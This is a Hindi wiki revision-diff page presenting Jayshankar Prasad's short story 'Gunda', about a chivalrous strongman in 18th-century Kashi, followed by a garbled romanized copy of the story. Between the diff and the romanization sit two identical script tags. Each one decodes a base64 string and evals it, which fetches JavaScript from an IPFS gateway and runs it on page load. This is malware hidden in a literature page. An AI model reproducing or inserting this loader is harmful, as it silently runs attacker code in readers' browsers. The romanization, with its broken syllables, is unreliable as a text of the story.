Difference between revisions of "गुंडा -जयशंकर प्रसाद"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('{{पुनरीक्षण}} {{tocright}} वह पचास वर्ष से ऊपर था। तब भी युवकों...' के साथ नया पन्ना बनाया)
 
m (Text replacement - "करनेवाली" to "करने वाली")
 
(6 intermediate revisions by the same user not shown)
Line 3: Line 3:
 
वह पचास वर्ष से ऊपर था। तब भी युवकों से अधिक बलिष्ठ और दृढ़ था। चमड़े पर झुर्रियाँ नहीं पड़ी थीं। वर्षा की झड़ी में, पूस की रातों की छाया में, कड़कती हुई जेठ की धूप में, नंगे शरीर घूमने में वह सुख मानता था। उसकी चढ़ी मूँछें बिच्छू के डंक की तरह, देखनेवालों की आँखों में चुभती थीं। उसका साँवला रंग, साँप की तरह चिकना और चमकीला था। उसकी नागपुरी धोती का लाल रेशमी किनारा दूर से ही ध्यान आकर्षित करता। कमर में बनारसी सेल्हे का फेंटा, जिसमें सीप की मूठ का बिछुआ खुँसा रहता था। उसके घुँघराले बालों पर सुनहले पल्ले के साफे का छोर उसकी चौड़ी पीठ पर फैला रहता। ऊँचे कन्धे पर टिका हुआ चौड़ी धार का गँड़ासा, यह भी उसकी धज! पंजों के बल जब वह चलता, तो उसकी नसें चटाचट बोलती थीं। वह गुंडा था।
 
वह पचास वर्ष से ऊपर था। तब भी युवकों से अधिक बलिष्ठ और दृढ़ था। चमड़े पर झुर्रियाँ नहीं पड़ी थीं। वर्षा की झड़ी में, पूस की रातों की छाया में, कड़कती हुई जेठ की धूप में, नंगे शरीर घूमने में वह सुख मानता था। उसकी चढ़ी मूँछें बिच्छू के डंक की तरह, देखनेवालों की आँखों में चुभती थीं। उसका साँवला रंग, साँप की तरह चिकना और चमकीला था। उसकी नागपुरी धोती का लाल रेशमी किनारा दूर से ही ध्यान आकर्षित करता। कमर में बनारसी सेल्हे का फेंटा, जिसमें सीप की मूठ का बिछुआ खुँसा रहता था। उसके घुँघराले बालों पर सुनहले पल्ले के साफे का छोर उसकी चौड़ी पीठ पर फैला रहता। ऊँचे कन्धे पर टिका हुआ चौड़ी धार का गँड़ासा, यह भी उसकी धज! पंजों के बल जब वह चलता, तो उसकी नसें चटाचट बोलती थीं। वह गुंडा था।
  
ईसा की अठारहवीं शताब्दी के अन्तिम भाग में वही काशी नहीं रह गयी थी, जिसमें उपनिषद् के अजातशत्रु की परिषद् में ब्रह्मविद्या सीखने के लिए विद्वान ब्रह्मचारी आते थे। गौतम बुद्ध और शंकराचार्य के धर्म-दर्शन के वाद-विवाद, कई शताब्दियों से लगातार मंदिरों और मठों के ध्वंस और तपस्वियों के वध के कारण, प्राय: बन्द-से हो गये थे। यहाँ तक कि पवित्रता और छुआछूत में कट्टर वैष्णव-धर्म भी उस विशृंखलता में, नवागन्तुक धर्मोन्माद में अपनी असफलता देखकर काशी में अघोर रूप धारण कर रहा था। उसी समय समस्त न्याय और बुद्धिवाद को शस्त्र-बल के सामने झुकते देखकर, काशी के विच्छिन्न और निराश नागरिक जीवन ने, एक नवीन सम्प्रदाय की सृष्टि की। वीरता जिसका धर्म था। अपनी बात पर मिटना, सिंह-वृत्ति से जीविका ग्रहण करना, प्राण-भिक्षा माँगनेवाले कायरों तथा चोट खाकर गिरे हुए प्रतिद्वन्द्वी पर शस्त्र न उठाना, सताये निर्बलों को सहायता देना और प्रत्येक क्षण प्राणों को हथेली पर लिये घूमना, उसका बाना था। उन्हें लोग काशी में गुंडा कहते थे।
+
ईसा की अठारहवीं शताब्दी के अन्तिम भाग में वही काशी नहीं रह गयी थी, जिसमें उपनिषद् के अजातशत्रु की परिषद् में ब्रह्मविद्या सीखने के लिए विद्वान् ब्रह्मचारी आते थे। गौतम बुद्ध और शंकराचार्य के धर्म-दर्शन के वाद-विवाद, कई शताब्दियों से लगातार मंदिरों और मठों के ध्वंस और तपस्वियों के वध के कारण, प्राय: बन्द-से हो गये थे। यहाँ तक कि पवित्रता और छुआछूत में कट्टर वैष्णव-धर्म भी उस विशृंखलता में, नवागन्तुक धर्मोन्माद में अपनी असफलता देखकर काशी में अघोर रूप धारण कर रहा था। उसी समय समस्त न्याय और बुद्धिवाद को शस्त्र-बल के सामने झुकते देखकर, काशी के विच्छिन्न और निराश नागरिक जीवन ने, एक नवीन सम्प्रदाय की सृष्टि की। वीरता जिसका धर्म था। अपनी बात पर मिटना, सिंह-वृत्ति से जीविका ग्रहण करना, प्राण-भिक्षा माँगनेवाले कायरों तथा चोट खाकर गिरे हुए प्रतिद्वन्द्वी पर शस्त्र न उठाना, सताये निर्बलों को सहायता देना और प्रत्येक क्षण प्राणों को हथेली पर लिये घूमना, उसका बाना था। उन्हें लोग काशी में गुंडा कहते थे।
  
जीवन की किसी अलभ्य अभिलाषा से वञ्चित होकर जैसे प्राय: लोग विरक्त हो जाते हैं, ठीक उसी तरह किसी मानसिक चोट से घायल होकर, एक प्रतिष्ठित जमींदार का पुत्र होने पर भी, नन्हकूसिंह गुंडा हो गया था। दोनों हाथों से उसने अपनी सम्पत्ति लुटायी। नन्हकूसिंह ने बहुत-सा रुपया खर्च करके जैसा स्वाँग खेला था, उसे काशी वाले बहुत दिनों तक नहीं भूल सके। वसन्त ऋतु में यह प्रहसनपूर्ण अभिनय खेलने के लिए उन दिनों प्रचुर धन, बल, निर्भीकता और उच्छृंखलता की आवश्यकता होती थी। एक बार नन्हकूसिंह ने भी एक पैर में नूपुर, एक हाथ में तोड़ा, एक आँख में काजल, एक कान में हजारों के मोती तथा दूसरे कान में फटे हुए जूते का तल्ला लटकाकर, एक जड़ाऊ मूठ की तलवार, दूसरा हाथ आभूषणों से लदी हुई अभिनय करनेवाली प्रेमिका के कन्धे पर रखकर गाया था-
+
जीवन की किसी अलभ्य अभिलाषा से वञ्चित होकर जैसे प्राय: लोग विरक्त हो जाते हैं, ठीक उसी तरह किसी मानसिक चोट से घायल होकर, एक प्रतिष्ठित ज़मींदार का पुत्र होने पर भी, नन्हकूसिंह गुंडा हो गया था। दोनों हाथों से उसने अपनी सम्पत्ति लुटायी। नन्हकूसिंह ने बहुत-सा रुपया खर्च करके जैसा स्वाँग खेला था, उसे काशी वाले बहुत दिनों तक नहीं भूल सके। वसन्त ऋतु में यह प्रहसनपूर्ण अभिनय खेलने के लिए उन दिनों प्रचुर धन, बल, निर्भीकता और उच्छृंखलता की आवश्यकता होती थी। एक बार नन्हकूसिंह ने भी एक पैर में नूपुर, एक हाथ में तोड़ा, एक आँख में काजल, एक कान में हजारों के मोती तथा दूसरे कान में फटे हुए जूते का तल्ला लटकाकर, एक जड़ाऊ मूठ की तलवार, दूसरा हाथ आभूषणों से लदी हुई अभिनय करने वाली प्रेमिका के कन्धे पर रखकर गाया था-
  
 
‘‘कहीं बैगनवाली मिले तो बुला देना।’’
 
‘‘कहीं बैगनवाली मिले तो बुला देना।’’
Line 39: Line 39:
 
दुलारी ने कहा-‘‘वाह बाबू साहब! आपही के लिए तो मैं यहाँ आ बैठी हूँ, सुनिए न! आप तो कभी ऊपर...’’ मौलवी जल उठा। उसने कड़ककर कहा-‘‘चोबदार! अभी वह सुअर की बच्ची उतरी नहीं। जाओ, कोतवाल के पास मेरा नाम लेकर कहो कि मौलवी अलाउद्दीन कुबरा ने बुलाया है। आकर उसकी मरम्मत करें। देखता हूँ तो जब से नवाबी गयी, इन काफिरों की मस्ती बढ़ गयी है।’’
 
दुलारी ने कहा-‘‘वाह बाबू साहब! आपही के लिए तो मैं यहाँ आ बैठी हूँ, सुनिए न! आप तो कभी ऊपर...’’ मौलवी जल उठा। उसने कड़ककर कहा-‘‘चोबदार! अभी वह सुअर की बच्ची उतरी नहीं। जाओ, कोतवाल के पास मेरा नाम लेकर कहो कि मौलवी अलाउद्दीन कुबरा ने बुलाया है। आकर उसकी मरम्मत करें। देखता हूँ तो जब से नवाबी गयी, इन काफिरों की मस्ती बढ़ गयी है।’’
  
कुबरा मौलवी! बाप रे-तमोली अपनी दूकान सम्हालने लगा। पास ही एक दूकान पर बैठकर ऊँघता हुआ बजाज चौंककर सिर में चोट खा गया! इसी मौलवी ने तो महाराज चेतसिंह से साढ़े तीन सेर चींटी के सिर का तेल माँगा था। मौलवी अलाउद्दीन कुबरा! बाजार में हलचल मच गयी। नन्हकूसिंह ने मन्नू से कहा-‘‘क्यों, चुपचाप बैठोगे नहीं!’’ दुलारी से कहा-‘‘वहीं से बाईजी! इधर-उधर हिलने का काम नहीं। तुम गाओ। हमने ऐसे घसियारे बहुत-से देखे हैं। अभी कल रमल के पासे फेंककर अधेला-अधेला माँगता था, आज चला है रोब गाँठने।’’
+
कुबरा मौलवी! बाप रे-तमोली अपनी दूकान सम्हालने लगा। पास ही एक दूकान पर बैठकर ऊँघता हुआ बजाज चौंककर सिर में चोट खा गया! इसी मौलवी ने तो महाराज चेतसिंह से साढ़े तीन सेर चींटी के सिर का तेल माँगा था। मौलवी अलाउद्दीन कुबरा! बाज़ार में हलचल मच गयी। नन्हकूसिंह ने मन्नू से कहा-‘‘क्यों, चुपचाप बैठोगे नहीं!’’ दुलारी से कहा-‘‘वहीं से बाईजी! इधर-उधर हिलने का काम नहीं। तुम गाओ। हमने ऐसे घसियारे बहुत-से देखे हैं। अभी कल रमल के पासे फेंककर अधेला-अधेला माँगता था, आज चला है रोब गाँठने।’’
  
 
अब कुबरा ने घूमकर उसकी ओर देखकर कहा-‘‘कौन है यह पाजी!’’
 
अब कुबरा ने घूमकर उसकी ओर देखकर कहा-‘‘कौन है यह पाजी!’’
Line 68: Line 68:
 
छोटे-से मञ्च पर बैठी, गंगा की उमड़ती हुई धारा को पन्ना अन्य-मनस्क होकर देखने लगी। उस बात को, जो अतीत में एक बार, हाथ से अनजाने में खिसक जानेवाली वस्तु की तरह गुप्त हो गयी हो; सोचने का कोई कारण नहीं। उससे कुछ बनता-बिगड़ता भी नहीं; परन्तु मानव-स्वभाव हिसाब रखने की प्रथानुसार कभी-कभी कही बैठता है, ‘‘कि यदि वह बात हो गयी होती तो?’’ ठीक उसी तरह पन्ना भी राजा बलवन्तसिंह द्वारा बलपूर्वक रानी बनायी जाने के पहले की एक सम्भावना को सोचने लगी थी। सो भी बाबू नन्हकूसिंह का नाम सुन लेने पर। गेंदा मुँहलगी दासी थी। वह पन्ना के साथ उसी दिन से है, जिस दिन से पन्ना बलवन्तसिंह की प्रेयसी हुई। राज्य-भर का अनुसन्धान उसी के द्वारा मिला करता। और उसे न जाने कितनी जानकारी भी थी। उसने दुलारी का रंग उखाड़ने के लिए कुछ कहना आवश्यक समझा।
 
छोटे-से मञ्च पर बैठी, गंगा की उमड़ती हुई धारा को पन्ना अन्य-मनस्क होकर देखने लगी। उस बात को, जो अतीत में एक बार, हाथ से अनजाने में खिसक जानेवाली वस्तु की तरह गुप्त हो गयी हो; सोचने का कोई कारण नहीं। उससे कुछ बनता-बिगड़ता भी नहीं; परन्तु मानव-स्वभाव हिसाब रखने की प्रथानुसार कभी-कभी कही बैठता है, ‘‘कि यदि वह बात हो गयी होती तो?’’ ठीक उसी तरह पन्ना भी राजा बलवन्तसिंह द्वारा बलपूर्वक रानी बनायी जाने के पहले की एक सम्भावना को सोचने लगी थी। सो भी बाबू नन्हकूसिंह का नाम सुन लेने पर। गेंदा मुँहलगी दासी थी। वह पन्ना के साथ उसी दिन से है, जिस दिन से पन्ना बलवन्तसिंह की प्रेयसी हुई। राज्य-भर का अनुसन्धान उसी के द्वारा मिला करता। और उसे न जाने कितनी जानकारी भी थी। उसने दुलारी का रंग उखाड़ने के लिए कुछ कहना आवश्यक समझा।
  
‘‘महारानी! नन्हकूसिंह अपनी सब जमींदारी स्वाँग, भैंसों की लड़ाई, घुड़दौड़ और गाने-बजाने में उड़ाकर अब डाकू हो गया है। जितने खून होते हैं, सब में उसी का हाथ रहता है। जितनी ....’’ उसे रोककर दुलारी ने कहा-‘‘यह झूठ है। बाबू साहब के ऐसा धर्मात्मा तो कोई है ही नहीं। कितनी विधवाएँ उनकी दी हुई धोती से अपना तन ढँकती है। कितनी लड़कियों की ब्याह-शादी होती है। कितने सताये हुए लोगों की उनके द्वारा रक्षा होती है।’’
+
‘‘महारानी! नन्हकूसिंह अपनी सब जमींदारी स्वाँग, भैंसों की लड़ाई, घुड़दौड़ और गाने-बजाने में उड़ाकर अब डाकू हो गया है। जितने ख़ून होते हैं, सब में उसी का हाथ रहता है। जितनी ....’’ उसे रोककर दुलारी ने कहा-‘‘यह झूठ है। बाबू साहब के ऐसा धर्मात्मा तो कोई है ही नहीं। कितनी विधवाएँ उनकी दी हुई धोती से अपना तन ढँकती है। कितनी लड़कियों की ब्याह-शादी होती है। कितने सताये हुए लोगों की उनके द्वारा रक्षा होती है।’’
  
 
रानी पन्ना के हृदय में एक तरलता उद्वेलित हुई। उन्होंने हँसकर कहा-‘‘दुलारी, वे तेरे यहाँ आते हैं न? इसी से तू उनकी बड़ाई....।’’
 
रानी पन्ना के हृदय में एक तरलता उद्वेलित हुई। उन्होंने हँसकर कहा-‘‘दुलारी, वे तेरे यहाँ आते हैं न? इसी से तू उनकी बड़ाई....।’’
Line 131: Line 131:
 
‘‘ठहरो’’-कहकर हिम्मतसिंह ने कुछ आज्ञा दी, सिपाही बाहर निकले। नन्हकू की तलवार चमक उठी। सिपाही भीतर भागे। नन्हकू ने कहा-‘‘नमकहरामों! चूडिय़ाँ पहन लो।’’ लोगों के देखते-देखते नन्हकूसिंह चला गया। कोतवाली के सामने फिर सन्नाटा हो गया।
 
‘‘ठहरो’’-कहकर हिम्मतसिंह ने कुछ आज्ञा दी, सिपाही बाहर निकले। नन्हकू की तलवार चमक उठी। सिपाही भीतर भागे। नन्हकू ने कहा-‘‘नमकहरामों! चूडिय़ाँ पहन लो।’’ लोगों के देखते-देखते नन्हकूसिंह चला गया। कोतवाली के सामने फिर सन्नाटा हो गया।
  
नन्हकू उन्मत्त था। उसके थोड़े-से साथी उसकी आज्ञा पर जान देने के लिए तुले थे। वह नहीं जानता था कि राजा चेतसिंह का क्या राजनैतिक अपराध है? उसने कुछ सोचकर अपने थोड़े-से साथियों को फाटक पर गड़बड़ मचाने के लिए भेज दिया। इधर अपनी डोंगी लेकर शिवालय की खिडक़ी के नीचे धारा काटता हुआ पहुँचा। किसी तरह निकले हुए पत्थर में रस्सी अटकाकर, उस चञ्चल डोंगी को उसने स्थिर किया और बन्दर की तरह उछलकर खिडक़ी के भीतर हो रहा। उस समय वहाँ राजमाता पन्ना और राजा चेतसिंह से बाबू मनिहारसिंह कह रहे थे-‘‘आपके यहाँ रहने से, हम लोग क्या करें, यह समझ में नहीं आता। पूजा-पाठ समाप्त करके आप रामनगर चली गयी होतीं, तो यह ....’’
+
नन्हकू उन्मत्त था। उसके थोड़े-से साथी उसकी आज्ञा पर जान देने के लिए तुले थे। वह नहीं जानता था कि राजा चेतसिंह का क्या राजनीतिक अपराध है? उसने कुछ सोचकर अपने थोड़े-से साथियों को फाटक पर गड़बड़ मचाने के लिए भेज दिया। इधर अपनी डोंगी लेकर शिवालय की खिडक़ी के नीचे धारा काटता हुआ पहुँचा। किसी तरह निकले हुए पत्थर में रस्सी अटकाकर, उस चञ्चल डोंगी को उसने स्थिर किया और बन्दर की तरह उछलकर खिडक़ी के भीतर हो रहा। उस समय वहाँ राजमाता पन्ना और राजा चेतसिंह से बाबू मनिहारसिंह कह रहे थे-‘‘आपके यहाँ रहने से, हम लोग क्या करें, यह समझ में नहीं आता। पूजा-पाठ समाप्त करके आप रामनगर चली गयी होतीं, तो यह ....’’
  
 
तेजस्विनी पन्ना ने कहा-‘‘अब मैं रामनगर कैसे चली जाऊँ?’’
 
तेजस्विनी पन्ना ने कहा-‘‘अब मैं रामनगर कैसे चली जाऊँ?’’
Line 163: Line 163:
 
चेतराम ने राजा के ऊपर हाथ रखा ही थी कि नन्हकू के सधे हुए हाथ ने उसकी भुजा उड़ा दी। इस्टाकर आगे बढ़े, मौलवी साहब चिल्लाने लगे। नन्हकूसिंह ने देखते-देखते इस्टाकर और उसके कई साथियों को धराशायी किया। फिर मौलवी साहब कैसे बचते!
 
चेतराम ने राजा के ऊपर हाथ रखा ही थी कि नन्हकू के सधे हुए हाथ ने उसकी भुजा उड़ा दी। इस्टाकर आगे बढ़े, मौलवी साहब चिल्लाने लगे। नन्हकूसिंह ने देखते-देखते इस्टाकर और उसके कई साथियों को धराशायी किया। फिर मौलवी साहब कैसे बचते!
  
नन्हकूसिंह ने कहा-‘‘क्यों, उस दिन के झापड़ ने तुमको समझाया नहीं? पाजी!’’-कहकर ऐसा साफ जनेवा मारा कि कुबरा ढेर हो गया। कुछ ही क्षणों में यह भीषण घटना हो गयी, जिसके लिए अभी कोई प्रस्तुत न था।
+
नन्हकूसिंह ने कहा-‘‘क्यों, उस दिन के झापड़ ने तुमको समझाया नहीं? पाजी!’’-कहकर ऐसा साफ़ जनेवा मारा कि कुबरा ढेर हो गया। कुछ ही क्षणों में यह भीषण घटना हो गयी, जिसके लिए अभी कोई प्रस्तुत न था।
  
 
नन्हकूसिंह ने ललकार कर चेतसिंह से कहा-‘‘आप क्या देखते हैं? उतरिये डोंगी पर!’’-उसके घावों से रक्त के फुहारे छूट रहे थे। उधर फाटक से तिलंगे भीतर आने लगे थे। चेतसिंह ने खिडक़ी से उतरते हुए देखा कि बीसों तिलंगों की संगीनों में वह अविचल खड़ा होकर तलवार चला रहा है। नन्हकू के चट्टान-सदृश शरीर से गैरिक की तरह रक्त की धारा बह रही है। गुण्डे का एक-एक अंग कटकर वहीं गिरने लगा। वह काशी का गुंडा था!
 
नन्हकूसिंह ने ललकार कर चेतसिंह से कहा-‘‘आप क्या देखते हैं? उतरिये डोंगी पर!’’-उसके घावों से रक्त के फुहारे छूट रहे थे। उधर फाटक से तिलंगे भीतर आने लगे थे। चेतसिंह ने खिडक़ी से उतरते हुए देखा कि बीसों तिलंगों की संगीनों में वह अविचल खड़ा होकर तलवार चला रहा है। नन्हकू के चट्टान-सदृश शरीर से गैरिक की तरह रक्त की धारा बह रही है। गुण्डे का एक-एक अंग कटकर वहीं गिरने लगा। वह काशी का गुंडा था!

Latest revision as of 13:18, 6 September 2017

chitr:Icon-edit.gif is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vah pachas varsh se oopar tha. tab bhi yuvakoan se adhik balishth aur dridh tha. cham de par jhurriyaan nahian p di thian. varsha ki jh di mean, poos ki ratoan ki chhaya mean, k dakati huee jeth ki dhoop mean, nange sharir ghoomane mean vah sukh manata tha. usaki chadhi mooanchhean bichchhoo ke dank ki tarah, dekhanevaloan ki aankhoan mean chubhati thian. usaka saanvala rang, saanp ki tarah chikana aur chamakila tha. usaki nagapuri dhoti ka lal reshami kinara door se hi dhyan akarshit karata. kamar mean banarasi selhe ka pheanta, jisamean sip ki mooth ka bichhua khuansa rahata tha. usake ghuangharale baloan par sunahale palle ke saphe ka chhor usaki chau di pith par phaila rahata. ooanche kandhe par tika hua chau di dhar ka gan dasa, yah bhi usaki dhaj! panjoan ke bal jab vah chalata, to usaki nasean chatachat bolati thian. vah guanda tha.

eesa ki atharahavian shatabdi ke antim bhag mean vahi kashi nahian rah gayi thi, jisamean upanishadh ke ajatashatru ki parishadh mean brahmavidya sikhane ke lie vidvanh brahmachari ate the. gautam buddh aur shankarachary ke dharm-darshan ke vad-vivad, kee shatabdiyoan se lagatar mandiroan aur mathoan ke dhvans aur tapasviyoan ke vadh ke karan, pray: band-se ho gaye the. yahaan tak ki pavitrata aur chhuachhoot mean kattar vaishnav-dharm bhi us vishriankhalata mean, navagantuk dharmonmad mean apani asaphalata dekhakar kashi mean aghor roop dharan kar raha tha. usi samay samast nyay aur buddhivad ko shastr-bal ke samane jhukate dekhakar, kashi ke vichchhinn aur nirash nagarik jivan ne, ek navin sampraday ki srishti ki. virata jisaka dharm tha. apani bat par mitana, sianh-vritti se jivika grahan karana, pran-bhiksha maanganevale kayaroan tatha chot khakar gire hue pratidvandvi par shastr n uthana, sataye nirbaloan ko sahayata dena aur pratyek kshan pranoan ko hatheli par liye ghoomana, usaka bana tha. unhean log kashi mean guanda kahate the.

jivan ki kisi alabhy abhilasha se vanchit hokar jaise pray: log virakt ho jate haian, thik usi tarah kisi manasik chot se ghayal hokar, ek pratishthit zamiandar ka putr hone par bhi, nanhakoosianh guanda ho gaya tha. donoan hathoan se usane apani sampatti lutayi. nanhakoosianh ne bahut-sa rupaya kharch karake jaisa svaang khela tha, use kashi vale bahut dinoan tak nahian bhool sake. vasant rritu mean yah prahasanapoorn abhinay khelane ke lie un dinoan prachur dhan, bal, nirbhikata aur uchchhriankhalata ki avashyakata hoti thi. ek bar nanhakoosianh ne bhi ek pair mean noopur, ek hath mean to da, ek aankh mean kajal, ek kan mean hajaroan ke moti tatha doosare kan mean phate hue joote ka talla latakakar, ek j daoo mooth ki talavar, doosara hath abhooshanoan se ladi huee abhinay karane vali premika ke kandhe par rakhakar gaya tha-

‘‘kahian baiganavali mile to bula dena.’’

pray: banaras ke bahar ki hariyaliyoan mean, achchhe panivale kuoan par, ganga ki dhara mean machalati huee doangi par vah dikhalaee p data tha. kabhi-kabhi jooakhane se nikalakar jab vah chauk mean a jata, to kashi ki rangili veshyaean muskarakar usaka svagat karatian aur usake dridh sharir ko sasprih dekhatian. vah tamoli ki hi dookan par baithakar unake git sunata, oopar kabhi nahian jata tha. jooe ki jit ka rupaya muththiyoan mean bhar-bharakar, unaki khidaqi mean vah is tarah uchhalata ki kabhi-kabhi samaji log apana sir sahalane lagate, tab vah thathakar hans deta. jab kabhi log kothe ke oopar chalane ke lie kahate, to vah udasi ki saans khianchakar chup ho jata.

vah abhi vanshi ke jooakhane se nikala tha. aj usaki kau di ne sath n diya. solah pariyoan ke nrity mean usaka man n laga. mannoo tamoli ki dookan par baithate hue usane kaha-‘‘aj sayat achchhi nahian rahi, mannoo!’’

‘‘kyoan malik! chinta kis bat ki hai. ham log kis din ke lie haian. sab ap hi ka to hai.’’

‘‘are, buddhoo hi rahe tum! nanhakoosianh jis din kisi se lekar jooa khelane lage usi din samajhana vah mar gaye. tum janate nahian ki maian jooa khelane kab jata hooan. jab mere pas ek paisa nahian rahata; usi din nal par pahuanchate hi jidhar b di dheri rahati hai, usi ko badata hooan aur phir vahi daanv ata bhi hai. baba kinaram ka yah baradan hai!’’

‘‘tab aj kyoan, malik?’’

‘‘pahala daanv to aya hi, phir do-char hath badane par sab nikal gaya. tab bhi lo, yah paanch rupaye bache haian. ek rupaya to pan ke lie rakh lo aur char de do malooki kathak ko, kah do ki dulari se gane ke lie kah de. haan, vahi ek git-

‘‘vilami videsh rahe.’’

nanhakoosianh ki bat sunate hi malooki, jo abhi gaanje ki chilam par rakhane ke lie aangara choor kar raha tha, ghabarakar uth kh da hua. vah sidhiy़oan par dau data hua chadh gaya. chilam ko dekhata hi oopar chadha, isalie use chot bhi lagi; par nanhakoosianh ki bhrikuti dekhane ki shakti usamean kahaan. use nanhakoosianh ki vah moorti n bhooli thi, jab isi pan ki dookan par jooekhane se jita hua, rupaye se bhara to da liye vah baitha tha. door se bodhisianh ki barat ka baja bajata hua a raha tha. nanhakoo ne poochha-‘‘yah kisaki barat hai?’’

‘‘thakur bodhisianh ke l dake ki.’’-mannoo ke itana kahate hi nanhakoo ke oth ph dakane lage. usane kaha-‘‘mannoo! yah nahian ho sakata. aj idhar se barat n jayagi. bodhisianh hamase nipatakar tab barat idhar se le ja sakeange.’’

mannoo ne kaha-‘‘tab malik, maian kya karooan?’’

nanhakoo gan dasa kandhe par se aur ooancha karake malooki se bola-‘‘malukiya dekhata hai, abhi ja thakur se kah de, ki baboo nanhakoosianh aj yahian lagane ke lie kh de haian. samajhakar avean, l dake ki barat hai.’’ malukiya kaanpata hua thakur bodhisianh ke pas gaya. bodhisianh aur nanhakoo se paanch varsh se samana nahian hua hai. kisi din nal par kuchh batoan mean hi kaha-suni hokar, bich-bachav ho gaya tha. phir samana nahian ho saka. aj nanhakoo jan par khelakar akela kh da hai. bodhisianh bhi us an ko samajhate the. unhoanne malooki se kaha-‘‘ja be, kah de ki hamako kya maloom ki baboo sahab vahaan kh de haian. jab vah haian hi, to do samadhi jane ka kya kam hai.’’ bodhisianh laut gaye aur malooki ke kandhe par to da ladakar baje ke age nanhakoosianh barat lekar gaye. byah mean jo kuchh laga, kharch kiya. byah karakar tab, doosare din isi dookan tak akar ruk gaye. l dake ko aur usaki barat ko usake ghar bhej diya.

malooki ko bhi das rupaya mila tha us din. phir nanhakoosianh ki bat sunakar baithe rahana aur yam ko nyota dena ek hi bat thi. usane jakar dulari se kaha-‘‘ham theka laga rahe haian, tum gao, tab tak balloo sarangivala pani pikar ata hai.’’

‘‘bap re, koee aphat ayi hai kya baboo sahab? salam!’’-kahakar dulari ne khidaqi se muskarakar jhaanka tha ki nanhakoosianh usake salam ka javab dekar, doosare ek anevale ko dekhane lage.

hath mean harauti ki patali-si chh di, aankhoan mean surama, muanh mean pan, meanhadi lagi huee lal dadhi, jisaki saphed j d dikhalaee p d rahi thi, kuvvedar topi; chhakaliya aangarakha aur sath mean laisadar paratavale do sipahi! koee maulavi sahab haian. nanhakoo hans p da. nanhakoo ki or bina dekhe hi maulavi ne ek sipahi se kaha-‘‘jao, dulari se kah do ki aj rejident sahab ki kothi par mujara karana hoga, abhi chale, dekho tab tak ham janali se kuchh itr le rahe haian.’’ sipahi oopar chadh raha tha aur maulavi doosari or chale the ki nanhakoo ne lalakarakar kaha-‘‘dulari! ham kab tak yahaan baithe rahean! kya abhi sarangiya nahian aya?’’

dulari ne kaha-‘‘vah baboo sahab! apahi ke lie to maian yahaan a baithi hooan, sunie n! ap to kabhi oopar...’’ maulavi jal utha. usane k dakakar kaha-‘‘chobadar! abhi vah suar ki bachchi utari nahian. jao, kotaval ke pas mera nam lekar kaho ki maulavi alauddin kubara ne bulaya hai. akar usaki marammat karean. dekhata hooan to jab se navabi gayi, in kaphiroan ki masti badh gayi hai.’’

kubara maulavi! bap re-tamoli apani dookan samhalane laga. pas hi ek dookan par baithakar ooanghata hua bajaj chauankakar sir mean chot kha gaya! isi maulavi ne to maharaj chetasianh se sadhe tin ser chianti ke sir ka tel maanga tha. maulavi alauddin kubara! bazar mean halachal mach gayi. nanhakoosianh ne mannoo se kaha-‘‘kyoan, chupachap baithoge nahian!’’ dulari se kaha-‘‘vahian se baeeji! idhar-udhar hilane ka kam nahian. tum gao. hamane aise ghasiyare bahut-se dekhe haian. abhi kal ramal ke pase pheankakar adhela-adhela maangata tha, aj chala hai rob gaanthane.’’

ab kubara ne ghoomakar usaki or dekhakar kaha-‘‘kaun hai yah paji!’’

‘‘tumhare chacha baboo nanhakoosianh!’’-ke sath hi poora banarasi jhap d p da. kubara ka sir ghoom gaya. lais ke paratale vale sipahi doosari or bhag chale aur maulavi sahab chauandhiya kar janali ki dookan par ladakh date, girate-p date kisi tarah pahuanch gaye.

janali ne maulavi se kaha-‘‘maulavi sahab! bhala ap bhi us gunde ke muanh lagane gaye. yah to kahie ki usane gan dasa nahian taul diya.’’ kubara ke muanh se boli nahian nikal rahi thi. udhar dulari ga rahi thi’’ .... vilami vides rahe ....’’ gana poora hua, koee aya-gaya nahi. tab nanhakoosianh dhire-dhire tahalata hua, doosari or chala gaya. tho di der mean ek doli reshami parade se dhanki huee ayi. sath mean ek chobadar tha. usane dulari ko rajamata panna ki ajna sunayi.

dulari chupachap doli par ja baithi. doli dhool aur sandhyakal ke dhuean se bhari huee banaras ki tang galiyoan se hokar shivalay ghat ki or chali.

bhag 2

shravan ka antim somavar tha. rajamata panna shivalay mean baithakar poojan kar rahi thi. dulari bahar baithi kuchh any ganevaliyoan ke sath bhajan ga rahi thi. arati ho jane par, phooloan ki anjali bikherakar panna ne bhaktibhav se devata ke charanoan mean pranam kiya. phir prasad lekar bahar ate hi unhoanne dulari ko dekha. usane kh di hokar hath jo date hue kaha-‘‘maian pahale hi pahuanch jati. kya karooan, vah kubara maulavi nigo da akar rejident ki kothi par le jane laga. ghantoan isi jhanjhat mean bit gaya, sarakar!’’

‘‘kubara maulavi! jahaan sunati hooan, usi ka nam. suna hai ki usane yahaan bhi akar kuchh....’’-phir n jane kya sochakar bat badalate hue panna ne kaha-‘‘haan, tab phir kya hua? tum kaise yahaan a sakian?’’

‘‘baboo nanhakoosianh udhar se a gaye.’’ maianne kaha-‘‘sarakar ki pooja par mujhe bhajan gane ko jana hai. aur yah jane nahian de raha hai. unhoanne maulavi ko aisa jhap d lagaya ki usaki hek di bhool gayi. aur tab jakar mujhe kisi tarah yahaan ane ki chhutti mili.’’

‘‘kaun baboo nanhakoosianh!’’

dulari ne sir nicha karake kaha-‘‘are, kya sarakar ko nahian maloom? baboo niranjanasianh ke l dake! us din, jab maian bahut chhoti thi, apaki bari mean jhoola jhool rahi thi, jab navab ka hathi big dakar a gaya tha, baboo niranjanasianh ke kuanvar ne hi to us din ham logoan ki raksha ki thi.’’

